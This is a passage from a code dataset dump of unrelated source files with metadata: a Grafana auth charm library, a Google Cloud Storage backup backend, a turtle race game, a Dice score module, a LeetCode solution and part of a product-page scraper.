the following library to the charm's `requirements.txt` file:\n- jsonschema\n\n### Provider charm\nExample:\nAn example on how to use the AuthProvider with proxy mode using default configuration options.\nThe default arguments are:\n `charm : CharmBase`\n `relation_name: str : grafana-auth`\n `header_name: str : X-WEBAUTH-USER`\n `header_property: str : username`\n `auto_sign_up: bool : True`\n `sync_ttl: int : None`\n `whitelist: list[str] : None`\n `headers: list[str] : None`\n `headers_encoded: bool : None`\n `enable_login_token: bool : None`\n```python\nfrom charms.grafana_k8s.v0.grafana_auth import GrafanaAuthProxyProvider\nfrom ops.charm import CharmBase\nclass ExampleProviderCharm(CharmBase):\n def __init__(self, *args):\n super().__init__(*args)\n ...\n self.grafana_auth_proxy_provider = GrafanaAuthProxyProvider(self)\n self.framework.observe(\n self.grafana_auth_proxy_provider.on.urls_available, self._on_urls_available\n )\n ...\n```\nValues different than defaults must be set from the class constructor.\nThe [official documentation](https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-authentication/auth-proxy/)\nof Grafana provides further explanation on the values that can be assigned to the different variables.\nExample:\n```python\nfrom charms.grafana_k8s.v0.grafana_auth import GrafanaAuthProxyProvider\nfrom ops.charm import CharmBase\nclass ExampleProviderCharm(CharmBase):\n def __init__(self, *args):\n super().__init__(*args)\n ...\n self.grafana_auth_proxy_provider = GrafanaAuthProxyProvider(\n self,\n header_property=\"email\",\n auto_sign_up=False,\n whitelist=[\"localhost\",\"canonical.com\"],\n )\n self.framework.observe(\n self.grafana_auth_proxy_provider.on.urls_available, self._on_urls_available\n )\n ...\n```\n### Requirer charm\nExample:\nAn example on how to use the auth requirer.\n```python\nfrom charms.grafana_k8s.v0.grafana_auth import AuthRequirer\nfrom ops.charm import CharmBase\nclass ExampleRequirerCharm(CharmBase):\n def __init__(self, *args):\n super().__init__(*args)\n self.auth_requirer = AuthRequirer(\n self,\n auth_requirer=[\"https://example.com/\"]\n )\n self.framework.observe(\n self.auth_requirer.on.auth_conf_available, self._on_auth_conf_available\n )\n```\n\"\"\" # noqa\n\nimport json\nimport logging\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom jsonschema import validate # type: ignore[import]\nfrom ops.charm import (\n CharmBase,\n CharmEvents,\n LeaderElectedEvent,\n PebbleReadyEvent,\n RelationChangedEvent,\n RelationJoinedEvent,\n)\nfrom ops.framework import (\n BoundEvent,\n EventBase,\n EventSource,\n Object,\n StoredDict,\n StoredList,\n)\n\n# The unique Charmhub library identifier, never change it\nLIBID = \"e9e05109343345d4bcea3bce6eacf8ed\"\n\n# Increment this major API version when introducing breaking changes\nLIBAPI = 0\n\n# Increment this PATCH version before using `charmcraft publish-lib` or reset\n# to 0 if you are raising the major API version\nLIBPATCH = 4\n\nAUTH_PROXY_PROVIDER_JSON_SCHEMA = {\n \"$schema\": \"http://json-schema.org/draft-07/schema\",\n \"$id\": \"https://canonical.github.io/charm-relation-interfaces/grafana_auth/schemas/provider.json\",\n \"type\": \"object\",\n \"title\": \"`grafana_auth` provider schema\",\n \"description\": \"The `grafana_auth` root schema comprises the entire provider databag for this interface.\",\n \"documentation\": \"https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/configure-authentication/auth-proxy/\",\n \"default\": {},\n \"examples\": [\n {\n \"application-data\": {\n \"auth\": {\n \"proxy\": {\n \"enabled\": True,\n \"header_name\": \"X-WEBAUTH-USER\",\n \"header_property\": \"username\",\n \"auto_sign_up\": True,\n }\n }\n }\n }\n ],\n \"required\": [\"application-data\"],\n \"properties\": {\n \"application-data\": {\n \"$id\": \"#/properties/application-data\",\n \"title\": \"Application Databag\",\n \"type\": \"object\",\n \"additionalProperties\": True,\n \"required\": [\"auth\"],\n \"properties\": {\n \"auth\": {\n \"additionalProperties\": True,\n \"anyOf\": [{\"required\": [\"proxy\"]}],\n \"type\": \"object\",\n \"properties\": {\n \"proxy\": {\n \"$id\": \"#/properties/application-data/proxy\",\n \"type\": \"object\",\n \"required\": [\"header_name\", \"header_property\"],\n \"additionalProperties\": True,\n \"properties\": {\n \"enabled\": {\n \"$id\": \"#/properties/application-data/proxy/enabled\",\n \"type\": \"boolean\",\n \"default\": True,\n },\n \"header_name\": {\n \"$id\": \"#/properties/application-data/proxy/header_name\",\n \"type\": \"string\",\n },\n \"header_property\": {\n \"$id\": \"#/properties/application-data/proxy/header_property\",\n \"type\": \"string\",\n },\n \"auto_sign_up\": {\n \"$id\": \"#/properties/application-data/proxy/auto_sign_up\",\n \"type\": \"boolean\",\n \"default\": True,\n },\n \"sync_ttl\": {\n \"$id\": \"#/properties/application-data/proxy/sync_ttl\",\n \"type\": \"integer\",\n \"default\": 60,\n },\n \"whitelist\": {\n \"$id\": \"#/properties/application-data/proxy/whitelist\",\n \"type\": \"array\",\n \"items\": {\"type\": \"string\"},\n },\n \"headers\": {\n \"$id\": \"#/properties/application-data/proxy/headers\",\n \"type\": \"array\",\n \"items\": {\"type\": \"string\"},\n },\n \"headers_encoded\": {\n \"$id\": \"#/properties/application-data/proxy/headers_encoded\",\n \"type\": \"boolean\",\n \"default\": False,\n },\n \"enable_login_token\": {\n \"$id\": \"#/properties/application-data/proxy/enable_login_token\",\n \"type\": \"boolean\",\n \"default\": False,\n },\n },\n }\n },\n }\n },\n }\n },\n \"additionalProperties\": True,\n}\nREQUIRER_JSON_SCHEMA = {\n \"$schema\": \"http://json-schema.org/draft-07/schema\",\n \"$id\": \"https://canonical.github.io/charm-relation-interfaces/interfaces/grafana_auth/schemas/requirer.json\",\n \"type\": \"object\",\n \"title\": \"`grafana_auth` requirer schema\",\n \"description\": \"The `grafana_auth` root schema comprises the entire consumer databag for this interface.\",\n \"default\": {},\n \"examples\": [{\"application-data\": {\"urls\": [\"https://grafana.example.com/\"]}}],\n \"required\": [\"application-data\"],\n \"properties\": {\n \"application-data\": {\n \"$id\": \"#/properties/application-data\",\n \"title\": \"Application Databag\",\n \"type\": \"object\",\n \"additionalProperties\": True,\n \"required\": [\"urls\"],\n \"urls\": {\"$id\": \"#/properties/application-data/urls\", \"type\": \"list\"},\n }\n },\n \"additionalProperties\": True,\n}\n\nDEFAULT_RELATION_NAME = \"grafana-auth\"\nAUTH = \"auth\"\nlogger = logging.getLogger(__name__)\n\n\ndef _type_convert_stored(obj):\n \"\"\"Convert Stored* to their appropriate types, recursively.\"\"\"\n if isinstance(obj, StoredList):\n return list(map(_type_convert_stored, obj))\n if isinstance(obj, StoredDict):\n return {k: _type_convert_stored(obj[k]) for k in obj.keys()}\n return obj\n\n\nclass UrlsAvailableEvent(EventBase):\n \"\"\"Charm event triggered when provider charm extracts the urls from relation data.\"\"\"\n\n def __init__(self, handle, urls: list, relation_id: int):\n super().__init__(handle)\n self.urls = urls\n self.relation_id = relation_id\n\n def snapshot(self) -> dict:\n \"\"\"Returns snapshot.\"\"\"\n return {\n \"urls\": self.urls,\n \"relation_id\": self.relation_id,\n }\n\n def restore(self, snapshot: dict):\n \"\"\"Restores snapshot.\"\"\"\n self.urls = _type_convert_stored(snapshot[\"urls\"])\n self.relation_id = snapshot[\"relation_id\"]\n\n\nclass AuthProviderCharmEvents(CharmEvents):\n \"\"\"List of events that the auth provider charm can leverage.\"\"\"\n\n urls_available = EventSource(UrlsAvailableEvent)\n\n\nclass AuthProvider(Object):\n \"\"\"Base class for authentication configuration provider classes.\n\n This class shouldn't be initialized,\n Its children classes define the authentication mode and configuration to be used.\n \"\"\"\n\n on = AuthProviderCharmEvents() # pyright: ignore\n\n def __init__(\n self,\n charm: CharmBase,\n relation_name: str,\n refresh_event: Optional[BoundEvent] = None,\n ):\n super().__init__(charm, relation_name)\n self._auth_config: Dict[str, Dict[str, Any]] = {}\n self._charm = charm\n self._relation_name = relation_name\n if not refresh_event:\n container = list(self._charm.meta.containers.values())[0]\n if len(self._charm.meta.containers) == 1:\n refresh_event = self._charm.on[container.name.replace(\"-\", \"_\")].pebble_ready\n else:\n logger.warning(\n \"%d containers are present in metadata.yaml and \"\n \"refresh_event was not specified. Defaulting to update_status. \",\n len(self._charm.meta.containers),\n )\n refresh_event = self._charm.on.update_status\n\n assert type(refresh_event) is BoundEvent # for static checker\n self.framework.observe(refresh_event, self._get_urls_from_relation_data)\n self.framework.observe(\n self._charm.on[relation_name].relation_joined,\n self._set_auth_config_in_relation_data,\n )\n self.framework.observe(\n self._charm.on.leader_elected, self._set_auth_config_in_relation_data\n )\n self.framework.observe(\n self._charm.on[relation_name].relation_changed, self._get_urls_from_relation_data\n )\n\n def _set_auth_config_in_relation_data(\n self, event: Union[LeaderElectedEvent, RelationJoinedEvent]\n ) -> None:\n \"\"\"Handler triggered on relation joined and leader elected events.\n\n Adds authentication config to relation data.\n\n Args:\n event: Juju event\n\n Returns:\n None\n \"\"\"\n if not self._charm.unit.is_leader():\n return\n\n relation = self._charm.model.get_relation(self._relation_name)\n if not relation or not self._auth_config:\n return\n if not self._validate_auth_config_json_schema():\n return\n relation_data = relation.data[self._charm.app]\n relation_data[AUTH] = json.dumps(self._auth_config)\n\n def _get_urls_from_relation_data(\n self, event: Union[PebbleReadyEvent, RelationChangedEvent]\n ) -> None:\n \"\"\"Handler triggered on relation changed and pebble_ready events.\n\n Extracts urls from relation data and emits the urls_available event\n\n Args:\n event: Juju event\n\n Returns:\n None\n \"\"\"\n if not self._charm.unit.is_leader():\n return\n\n relation = self._charm.model.get_relation(self._relation_name)\n if not relation:\n return\n urls_json = relation.data[relation.app].get(\"urls\", \"\") # type: ignore\n if not urls_json:\n logger.warning(\"No urls found in %s relation data\", self._relation_name)\n return\n\n urls = json.loads(urls_json)\n\n self.on.urls_available.emit(urls=urls, relation_id=relation.id) # pyright: ignore\n\n def _validate_auth_config_json_schema(self) -> bool:\n \"\"\"Implemented in children classes.\"\"\"\n raise NotImplementedError\n\n\nclass AuthConfAvailableEvent(EventBase):\n \"\"\"Charm Event triggered when authentication config is ready.\"\"\"\n\n def __init__(self, handle, auth: dict, relation_id: int):\n super().__init__(handle)\n self.auth = auth\n self.relation_id = relation_id\n\n def snapshot(self) -> dict:\n \"\"\"Returns snapshot.\"\"\"\n return {\n AUTH: self.auth,\n \"relation_id\": self.relation_id,\n }\n\n def restore(self, snapshot: dict):\n \"\"\"Restores snapshot.\"\"\"\n self.auth = _type_convert_stored(snapshot[AUTH])\n self.relation_id = snapshot[\"relation_id\"]\n\n\nclass AuthRequirerCharmEvents(CharmEvents):\n \"\"\"List of events that the auth requirer charm can leverage.\"\"\"\n\n auth_conf_available = EventSource(AuthConfAvailableEvent)\n\n\nclass AuthRequirer(Object):\n \"\"\"Authentication configuration requirer class.\"\"\"\n\n on = AuthRequirerCharmEvents() # pyright: ignore\n\n def __init__(\n self,\n charm,\n urls: List[str],\n relation_name: str = DEFAULT_RELATION_NAME,\n refresh_event: Optional[BoundEvent] = None,\n ):\n \"\"\"Constructs an authentication requirer that consumes authentication configuration.\n\n The charm initializing this class requires authentication configuration,\n and it's expected to provide a list of url(s) to the service it's authenticating to.\n This class can be initialized as follows:\n\n self.auth_requirer = AuthRequirer(\n self,\n auth_requirer=[\"https://example.com/\"]\n )\n\n Args:\n charm: CharmBase: the charm which manages this object.\n urls: List[str]: a list of urls to access the service the charm needs to authenticate to.\n relation_name: str: name of the relation in `metadata.yaml` that has the `grafana_auth` interface.\n refresh_event: an optional bound event which will be observed to re-set authentication configuration.\n \"\"\"\n super().__init__(charm, relation_name)\n self._charm = charm\n self._relation_name = relation_name\n self._urls = urls\n if not refresh_event:\n container = list(self._charm.meta.containers.values())[0]\n if len(self._charm.meta.containers) == 1:\n refresh_event = self._charm.on[container.name.replace(\"-\", \"_\")].pebble_ready\n else:\n logger.warning(\n \"%d containers are present in metadata.yaml and \"\n \"refresh_event was not specified. Defaulting to update_status.\",\n len(self._charm.meta.containers),\n )\n refresh_event = self._charm.on.update_status\n\n assert type(refresh_event) is BoundEvent # for static checker\n self.framework.observe(refresh_event, self._get_auth_config_from_relation_data)\n\n self.framework.observe(\n self._charm.on[relation_name].relation_changed,\n self._get_auth_config_from_relation_data,\n )\n self.framework.observe(\n self._charm.on[relation_name].relation_joined, self._set_urls_in_relation_data\n )\n self.framework.observe(self._charm.on.leader_elected, self._set_urls_in_relation_data)\n\n def _set_urls_in_relation_data(\n self, event: Union[LeaderElectedEvent, RelationJoinedEvent]\n ) -> None:\n \"\"\"Handler triggered on relation joined events. Adds URL(s) to relation data.\n\n Args:\n event: Juju event\n\n Returns:\n None\n \"\"\"\n if not self._charm.unit.is_leader():\n return\n\n relation = self._charm.model.get_relation(self._relation_name)\n if not relation or not self._urls:\n return\n try:\n validate({\"application-data\": {\"urls\": self._urls}}, REQUIRER_JSON_SCHEMA)\n except: # noqa: E722\n return\n relation_data = relation.data[self._charm.app]\n relation_data[\"urls\"] = json.dumps(self._urls)\n\n def _get_auth_config_from_relation_data(\n self, event: Union[PebbleReadyEvent, RelationChangedEvent]\n ) -> None:\n \"\"\"Handler triggered on relation changed and pebble_ready events.\n\n Extracts authentication config from relation data.\n Emits an event that contains the config.\n\n Args:\n event: Juju event\n\n Returns:\n None\n \"\"\"\n if not self._charm.unit.is_leader():\n return\n\n relation = self._charm.model.get_relation(self._relation_name)\n if not relation:\n return\n\n auth_conf_json = relation.data[relation.app].get(AUTH, \"\")\n\n if not auth_conf_json:\n logger.warning(\n \"No authentication config found in %s relation data\", self._relation_name\n )\n return\n\n auth_conf = json.loads(auth_conf_json)\n\n self.on.auth_conf_available.emit( # pyright: ignore\n auth=auth_conf,\n relation_id=relation.id,\n )\n\n\nclass GrafanaAuthProxyProvider(AuthProvider):\n \"\"\"Authentication configuration provider class.\n\n Provides proxy mode for authentication to Grafana.\n \"\"\"\n\n _AUTH_TYPE = \"proxy\"\n _ENABLED = True\n\n def __init__(\n self,\n charm: CharmBase,\n relation_name: str = DEFAULT_RELATION_NAME,\n refresh_event: Optional[BoundEvent] = None,\n header_name: str = \"X-WEBAUTH-USER\",\n header_property: str = \"username\",\n auto_sign_up: bool = True,\n sync_ttl: Optional[int] = None,\n whitelist: Optional[List[str]] = None,\n headers: Optional[List[str]] = None,\n headers_encoded: Optional[bool] = None,\n enable_login_token: Optional[bool] = None,\n ) -> None:\n \"\"\"Constructs GrafanaAuthProxyProvider.\n\n The charm initializing this object configures the authentication to grafana using proxy authentication mode.\n This object can be initialized as follows:\n\n self.grafana_auth_proxy_provider = GrafanaAuthProxyProvider(self)\n\n Args:\n charm: CharmBase: the charm which manages this object.\n relation_name: str: name of the relation in `metadata.yaml` that has the `grafana_auth` interface.\n refresh_event: an optional bound event which will be observed to re-set urls.\n header_name: str: HTTP Header name that will contain the username or email\n header_property: str: HTTP Header property, defaults to username but can also be `email`.\n auto_sign_up: bool: Set to `true` to enable auto sign-up of users who do not exist in Grafana DB.\n sync_ttl: int: Define cache time to live in minutes.\n whitelist: list[str]: Limits where auth proxy requests come from by configuring a list of IP addresses.\n headers: list[str]: Optionally define more headers to sync other user attributes.\n headers_encoded: bool: Non-ASCII strings in header values are encoded using quoted-printable encoding\n enable_login_token: bool\n\n Returns:\n None\n \"\"\" # noqa\n super().__init__(charm, relation_name, refresh_event)\n self._auth_config[self._AUTH_TYPE] = {}\n self._auth_config[self._AUTH_TYPE][\"enabled\"] = self._ENABLED\n self._auth_config[self._AUTH_TYPE][\"header_name\"] = header_name\n self._auth_config[self._AUTH_TYPE][\"header_property\"] = header_property\n self._auth_config[self._AUTH_TYPE][\"auto_sign_up\"] = auto_sign_up\n if sync_ttl:\n self._auth_config[self._AUTH_TYPE][\"sync_ttl\"] = sync_ttl\n if whitelist:\n self._auth_config[self._AUTH_TYPE][\"whitelist\"] = whitelist\n if headers:\n self._auth_config[self._AUTH_TYPE][\"headers\"] = headers\n if headers_encoded is not None:\n self._auth_config[self._AUTH_TYPE][\"headers_encoded\"] = headers_encoded\n if enable_login_token is not None:\n self._auth_config[self._AUTH_TYPE][\"enable_login_token\"] = enable_login_token\n\n def _validate_auth_config_json_schema(self) -> bool:\n \"\"\"Validates authentication configuration using json schemas.\n\n Returns:\n bool: Whether the configuration is valid or not based on the json schema.\n \"\"\"\n try:\n validate(\n {\"application-data\": {\"auth\": self._auth_config}}, AUTH_PROXY_PROVIDER_JSON_SCHEMA\n )\n return True\n except: # noqa: E722\n return False\n","sub_path":"lib/charms/grafana_k8s/v0/grafana_auth.py","file_name":"grafana_auth.py","file_ext":"py","file_size_in_byte":22535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"642486598","text":"# -*- coding: utf-8 -*-\n# Copyright 2019 Spotify AB\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport base64\nimport io\nimport itertools\nimport json\nimport logging\nimport os\nimport subprocess\nfrom subprocess import PIPE\n\nfrom dateutil import parser\nfrom libcloud.storage.drivers.google_storage import GoogleStorageDriver\nfrom pathlib import Path\n\nfrom medusa.storage.abstract_storage import AbstractStorage\nfrom medusa.storage.google_cloud_storage.gsutil import GSUtil\n\n\nGSUTIL_MAX_FILES_PER_CHUNK = 64\n\n\nclass GoogleStorage(AbstractStorage):\n\n def connect_storage(self):\n with io.open(os.path.expanduser(self.config.key_file), 'r', encoding='utf-8') as json_fi:\n credentials = json.load(json_fi)\n\n driver = GoogleStorageDriver(\n key=credentials['client_email'],\n secret=credentials['private_key'],\n project=credentials['project_id']\n )\n\n return driver\n\n def check_dependencies(self):\n try:\n subprocess.check_call([\"gsutil\", \"help\"], stdout=PIPE, stderr=PIPE)\n except Exception:\n raise RuntimeError(\n \"Google Cloud SDK doesn't seem to be installed on this system and is a \"\n + \"required dependency for the GCS backend. \"\n + \"Please check https://cloud.google.com/sdk/docs/quickstarts for installation guidelines.\"\n )\n\n def upload_blobs(self, srcs, dest):\n\n # ensure srcs is always a list\n if isinstance(srcs, str) or isinstance(srcs, Path):\n srcs = [srcs]\n\n generators = self._upload_blobs(srcs, dest)\n return list(itertools.chain(*generators))\n\n def _upload_blobs(self, srcs, dest):\n with GSUtil(self.config) as gsutil:\n for parent, src_paths in _group_by_parent(srcs):\n yield self._upload_paths(gsutil, parent, src_paths, dest)\n\n def _upload_paths(self, gsutil, parent, src_paths, old_dest):\n # if the parent doesn't start with a '.', it's probably business as usual\n # if it doesn't we need to modify the dest by squeezing the new parent in\n # so the final upload destination is `dest / parent / object`\n # this is needed to handle things like secondary indices that live in hidden folders within table folders\n new_dest = '{}/{}'.format(old_dest, parent) if parent.startswith('.') else old_dest\n return gsutil.cp(\n srcs=src_paths,\n dst=\"gs://{}/{}\".format(self.bucket.name, new_dest),\n parallel_process_count=self.config.concurrent_transfers\n )\n\n def download_blobs(self, srcs, dest):\n\n # src is a list of strings, each string is a path inside the backup bucket pointing to a file, or a GCS URI\n # dst is a table full path to a temporary folder, ends with table name\n\n # ensure srcs is always a list\n if isinstance(srcs, str) or isinstance(srcs, Path):\n srcs = [srcs]\n\n generators = self._download_blobs(srcs, dest)\n return list(itertools.chain(*generators))\n\n def _download_blobs(self, srcs, dest):\n with GSUtil(self.config) as gsutil:\n for parent, src_paths in _group_by_parent(srcs):\n yield self._download_paths(gsutil, parent, src_paths, dest)\n\n def _download_paths(self, gsutil, parent, src_paths, old_dest):\n new_dest = '{}/{}'.format(old_dest, parent) if parent.startswith('.') else old_dest\n # we made src_paths a list of Path objects, but we need strings for copying\n # plus, we must not forget to point them to the bucket\n srcs = ['gs://{}/{}'.format(self.bucket.name, str(p)) for p in src_paths]\n return gsutil.cp(\n srcs=srcs,\n dst=new_dest,\n parallel_process_count=self.config.concurrent_transfers)\n\n def get_object_datetime(self, blob):\n logging.debug(\"Blob {} last modification time is {}\".format(blob.name, blob.extra[\"last_modified\"]))\n return parser.parse(blob.extra[\"last_modified\"])\n\n def get_path_prefix(self, path):\n return \"\"\n\n def get_download_path(self, path):\n if \"gs://\" in path:\n return path\n else:\n return \"gs://{}/{}\".format(self.bucket.name, path)\n\n def get_cache_path(self, path):\n # Full path for files that will be taken from previous backups\n return self.get_download_path(path)\n\n @staticmethod\n def blob_matches_manifest(blob, object_in_manifest, enable_md5_checks=False):\n return GoogleStorage.compare_with_manifest(\n actual_size=blob.size,\n size_in_manifest=object_in_manifest['size'],\n actual_hash=str(blob.hash) if enable_md5_checks else None,\n hash_in_manifest=object_in_manifest['MD5']\n )\n\n @staticmethod\n def file_matches_cache(src, cached_item, threshold=None, enable_md5_checks=False):\n return GoogleStorage.compare_with_manifest(\n actual_size=src.stat().st_size,\n size_in_manifest=cached_item['size'],\n actual_hash=AbstractStorage.generate_md5_hash(src) if enable_md5_checks else None,\n hash_in_manifest=cached_item['MD5']\n )\n\n @staticmethod\n def compare_with_manifest(actual_size, size_in_manifest, actual_hash=None, hash_in_manifest=None, threshold=None):\n sizes_match = actual_size == size_in_manifest\n if not actual_hash:\n return sizes_match\n\n hashes_match = (\n # this case comes from comparing blob hashes to manifest entries (in context of GCS)\n actual_hash == base64.b64decode(hash_in_manifest).hex()\n # this comes from comparing files to a cache\n or hash_in_manifest == base64.b64decode(actual_hash).hex()\n # and perhaps we need the to check for match even without base64 encoding\n or actual_hash == hash_in_manifest\n )\n\n return sizes_match and hashes_match\n\n\ndef _is_in_folder(file_path, folder_path):\n return file_path.parent.name == Path(folder_path).name\n\n\ndef _group_by_parent(paths):\n by_parent = itertools.groupby(paths, lambda p: Path(p).parent.name)\n for parent, files in by_parent:\n yield parent, list(files)\n","sub_path":"medusa/storage/google_storage.py","file_name":"google_storage.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"124427205","text":"# Colton Fitzjarrald (no other members)\n# 11/4/18\n# Ada Byron,the daughter of poet lord Byron wrote the first computer program, which calculated Bernoulli numbers in 1843\n# Grace Hopper invented the computer compiler and coined the term computer bug.\n# Katherine Johnson was a scientist who worked at NASA and calculated the trajectories of early space launches\n# Shafi Goldwasser was a professor of electrical engineering and computer science at MIT\n##########################\n\n#first block is setting up the monitor\nfrom random import randint\nimport turtle\nwn = turtle.Screen()\nwn.bgcolor('white')\ntess = turtle.Turtle()\ntess.penup()\n#tess is the drawing code. It creates the lines.\ntess.hideturtle()\ntess.goto(-140, 140)\ntess.color('black')\ntess.pensize(2)\ntess.speed(8)\ntess.right(90)\n# the first for loop of the block below writes the numbers above the lines, the second for loop creates the dashed lines.\nfor row in range(0, 15):\n tess.write(row)\n tess.forward(15)\n tess.pendown()\n for i in range(0, 11):\n tess.forward(7.5)\n tess.penup()\n tess.forward(7.5)\n tess.pendown()\n tess.penup()\n tess.goto((tess.xcor() + 25), 140)\n# the next 4 blocks create the turtles, assigns their positions, and has them do rotations at start of race\nada = turtle.Turtle()\nada.hideturtle()\nada.pensize(.3)\nada.resizemode('auto')\nada.shape('turtle')\nada.color('red')\nada.penup()\nada.goto(-160, 100)\nada.showturtle()\nada.left(360)\n\ngrace = turtle.Turtle()\ngrace.hideturtle()\ngrace.pensize(.3)\ngrace.resizemode('auto')\ngrace.shape('turtle')\ngrace.color('purple')\ngrace.penup()\ngrace.goto(-160, 60)\ngrace.right(60)\ngrace.showturtle()\ngrace.right(300)\n\nkatherine = turtle.Turtle()\nkatherine.hideturtle()\nkatherine.pensize(.3)\nkatherine.resizemode('auto')\nkatherine.shape('turtle')\nkatherine.color('hotpink')\nkatherine.penup()\nkatherine.goto(-160, 20)\nkatherine.right(120)\nkatherine.showturtle()\nkatherine.left(480)\n\nshafi = turtle.Turtle()\nshafi.hideturtle()\nshafi.pensize(.3)\nshafi.resizemode('auto')\nshafi.shape('turtle')\nshafi.color('blue')\nshafi.penup()\nshafi.goto(-160, -20)\nshafi.left(90)\nshafi.showturtle()\nshafi.right(450)\n#the for loop below using the randint function to assign a distance travelled forward for each turtle, over 100 times.\nfor i in range(0, 100):\n ada.forward(randint(1, 6))\n grace.forward(randint(1, 6))\n katherine.forward(randint(1, 6))\n shafi.forward(randint(1, 6))\n\nwn.mainloop()\n","sub_path":"turtlerace.py","file_name":"turtlerace.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"324870061","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass DiceScoreWithLogits(nn.Module):\n\n def __init__(self, threshold=0.5, smooth_factor=0.001):\n super(DiceScoreWithLogits, self).__init__()\n self.threshold = threshold\n self.smooth_factor = smooth_factor\n\n def forward(self, logits, targets):\n proba = torch.sigmoid(logits)\n num = targets.size(0)\n predict = (proba.view(num, -1) > self.threshold).float()\n targets = targets.view(num, -1)\n intersection = predict * targets\n score = (2.0 * intersection.sum(1) + self.smooth_factor) / (\n predict.sum(1) + targets.sum(1) + self.smooth_factor)\n return score.mean()","sub_path":"utils/score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"205153055","text":"'''\n一个网站域名,如\"discuss.leetcode.com\",包含了多个子域名。作为顶级域名,常用的有\"com\",下一级则有\"leetcode.com\",最低的一级为\"discuss.leetcode.com\"。当我们访问域名\"discuss.leetcode.com\"时,也同时访问了其父域名\"leetcode.com\"以及顶级域名 \"com\"。\n\n给定一个带访问次数和域名的组合,要求分别计算每个域名被访问的次数。其格式为访问次数+空格+地址,例如:\"9001 discuss.leetcode.com\"。\n\n接下来会给出一组访问次数和域名组合的列表cpdomains 。要求解析出所有域名的访问次数,输出格式和输入格式相同,不限定先后顺序。\n\n示例 1:\n输入: \n[\"9001 discuss.leetcode.com\"]\n输出: \n[\"9001 discuss.leetcode.com\", \"9001 leetcode.com\", \"9001 com\"]\n说明: \n例子中仅包含一个网站域名:\"discuss.leetcode.com\"。按照前文假设,子域名\"leetcode.com\"和\"com\"都会被访问,所以它们都被访问了9001次。\n示例 2\n输入: \n[\"900 google.mail.com\", \"50 yahoo.com\", \"1 intel.mail.com\", \"5 wiki.org\"]\n输出: \n[\"901 mail.com\",\"50 yahoo.com\",\"900 google.mail.com\",\"5 wiki.org\",\"5 org\",\"1 intel.mail.com\",\"951 com\"]\n说明: \n按照假设,会访问\"google.mail.com\" 900次,\"yahoo.com\" 50次,\"intel.mail.com\" 1次,\"wiki.org\" 5次。\n而对于父域名,会访问\"mail.com\" 900+1 = 901次,\"com\" 900 + 50 + 1 = 951次,和 \"org\" 5 次。\n注意事项:\n\n cpdomains 的长度小于 100。\n每个域名的长度小于100。\n每个域名地址包含一个或两个\".\"符号。\n输入中任意一个域名的访问次数都小于10000。\n\n\n'''\n\n\nclass Solution:\n def subdomainVisits(self, cpdomains: List[str]) -> List[str]:\n dic={}\n res=[]\n for cp in cpdomains:\n s = cp.split()\n n = int(s[0])\n d = s[1]\n while d:\n if d in dic:\n dic[d]+=n\n else:\n dic[d]=n\n if '.' in d:\n d=d.split('.',1)[-1]\n else:\n break\n \n for k,v in dic.items():\n res.append(str(v)+' '+k)\n return res\n\n\ns=Solution()\nres=s.subdomainVisits([\"9001 discuss.leetcode.com\"])\nprint(res)","sub_path":"LeetCode/Python/Done/811.py","file_name":"811.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"179466930","text":"# -*- coding: utf-8 -*-\nimport re\n\nimport requests\nfrom openpyxl import Workbook\nfrom pyquery import PyQuery as pq\n\nnum = 2\n\n\ndef extract_text_from_html(raw_html):\n \"\"\"用pyquery提取raw_html的文本text\"\"\"\n if not raw_html:\n return None, raw_html, \"\", raw_html\n\n raw_html = raw_html.strip()\n\n if raw_html.startswith(\"\" + raw_html\n try:\n pq_doc = pq(raw_html, parser=\"html\")\n\n # 1.移除html 中 script 标签和style 标签, 这俩标签下的数据是跟正文无关的.\n script_items = pq_doc(\"script, style\")\n for item in script_items.items():\n item.remove()\n # 2.移除html 标签中 value值是几万个英文和数字字符的value, 这些无意义的字符不能被es 分词 样例 201911148252764\n # 3.移除 src 是base64 长文本编码的情况,\n # 4.移除 href 是很长 url的情况\n # 这3种都是跟嗅探和标注无关的\n value_items = pq_doc(\"[value], [src], [href]\")\n for item in value_items.items():\n item.remove_attr(\"value\")\n item.remove_attr(\"src\")\n item.remove_attr(\"href\")\n text = pq_doc.text()\n result_raw_html = pq_doc.outer_html()\n if not text:\n return pq_doc, raw_html, \"\", result_raw_html\n return pq_doc, text, text, result_raw_html\n except Exception:\n return None, raw_html, \"\", raw_html\n\n\ndef extract_chinese_txt(html):\n \"\"\"返回一个纯文本,并用逗号(,)对输入的html中的所有特殊字符替换\"\"\"\n pattern = \"[\\u4e00-\\u9fa5]+\"\n regex = re.compile(pattern)\n results = regex.findall(html)\n results = \",\".join(results)\n return results\n\n\ndef write_data_to_excel(goods, sheet):\n global num\n\n for good in goods:\n sheet['A{}'.format(num)] = good['typeName']\n sheet['B{}'.format(num)] = good['subName']\n sheet['C{}'.format(num)] = good['goodsPrice']\n raw_desc = good['goodsDescription']\n _, html, _, _ = extract_text_from_html(raw_desc)\n sheet['D{}'.format(num)] = html\n\n num += 1\n\n\ndef start_spider(sheet):\n url = \"https://jm.bamatea.com/Goods/GetGoodsByTypeIdAsync\"\n\n data = {\n \"typeId\": \"546a5fc2-071c-4553-9c79-78c3dc9f6f68\"\n }\n\n while True:\n response = requests.post(url=url, json=data, headers={\"Content-Type\": 